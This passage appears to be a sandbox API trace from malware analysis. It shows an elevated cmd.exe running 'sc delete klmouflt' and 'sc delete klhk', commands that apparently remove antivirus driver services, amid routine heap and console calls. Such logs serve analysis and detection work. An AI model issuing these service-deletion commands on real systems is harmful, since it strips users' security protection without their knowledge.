(lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klmouflt") returned 1 [0078.466] GetProcessHeap () returned 0x240000 [0078.466] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.466] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.466] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.466] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.466] GetProcessHeap () returned 0x240000 [0078.466] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.466] GetProcessHeap () returned 0x240000 [0078.466] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.466] GetProcessHeap () returned 0x240000 [0078.467] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.467] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klmouflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klmouflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klmouflt", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xae4, dwThreadId=0xb10)) returned 1 [0078.473] CloseHandle (hObject=0x50) returned 1 [0078.473] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.473] GetProcessHeap () returned 0x240000 [0078.473] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.473] GetEnvironmentStringsW () returned 0x261b10* [0078.473] GetProcessHeap () returned 0x240000 [0078.473] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.473] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.473] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.474] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.474] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0078.525] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.525] CloseHandle (hObject=0x54) returned 1 [0078.525] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.526] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.526] GetProcessHeap () returned 0x240000 [0078.526] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.526] GetEnvironmentStringsW () returned 0x261b10* [0078.526] GetProcessHeap () returned 0x240000 [0078.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.526] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.526] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.526] GetProcessHeap () returned 0x240000 [0078.526] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.526] GetEnvironmentStringsW () returned 0x261b10* [0078.526] GetProcessHeap () returned 0x240000 [0078.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.526] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.526] GetProcessHeap () returned 0x240000 [0078.526] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.526] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.526] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.527] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.527] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.527] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.527] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.527] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.527] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.527] GetConsoleOutputCP () returned 0x1b5 [0078.527] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.527] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.528] GetProcessHeap () returned 0x240000 [0078.528] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.528] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.528] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.528] GetFileType (hFile=0x120) returned 0x3 [0078.528] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.528] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.529] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.529] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.529] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.529] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.529] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.529] GetFileType (hFile=0x120) returned 0x3 [0078.529] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.529] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.529] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.529] GetFileType (hFile=0xb8) returned 0x3 [0078.529] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.529] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.529] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.529] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.529] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.529] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.530] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.530] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.530] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.530] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.531] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.531] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.531] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.531] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.532] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.532] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.532] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="houflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.532] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="kuflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.532] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.533] GetFileType (hFile=0xb8) returned 0x3 [0078.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.533] GetFileType (hFile=0x120) returned 0x3 [0078.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klhk\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klhk\n", lpUsedDefaultChar=0x0) returned 16 [0078.533] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0xf, lpOverlapped=0x0) returned 1 [0078.533] GetProcessHeap () returned 0x240000 [0078.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.550] GetProcessHeap () returned 0x240000 [0078.550] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.550] GetProcessHeap () returned 0x240000 [0078.550] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.550] GetProcessHeap () returned 0x240000 [0078.550] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.550] GetProcessHeap () returned 0x240000 [0078.550] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x256510 [0078.550] GetConsoleOutputCP () returned 0x1b5 [0078.551] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.551] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.551] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.551] GetProcessHeap () returned 0x240000 [0078.551] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.551] GetProcessHeap () returned 0x240000 [0078.551] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256550 [0078.551] GetProcessHeap () returned 0x240000 [0078.551] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0078.551] SetErrorMode (uMode=0x0) returned 0x1 [0078.552] SetErrorMode (uMode=0x1) returned 0x0 [0078.552] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.552] SetErrorMode (uMode=0x1) returned 0x1 [0078.552] GetProcessHeap () returned 0x240000 [0078.552] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0078.552] GetProcessHeap () returned 0x240000 [0078.552] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0078.552] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.552] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.552] GetProcessHeap () returned 0x240000 [0078.552] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.552] GetProcessHeap () returned 0x240000 [0078.552] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.552] GetProcessHeap () returned 0x240000 [0078.552] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.552] GetProcessHeap () returned 0x240000 [0078.552] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.552] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.552] GetProcessHeap () returned 0x240000 [0078.553] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.553] GetProcessHeap () returned 0x240000 [0078.553] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.553] GetProcessHeap () returned 0x240000 [0078.553] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.553] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.553] GetLastError () returned 0x2 [0078.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.553] GetLastError () returned 0x2 [0078.553] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.553] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.554] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 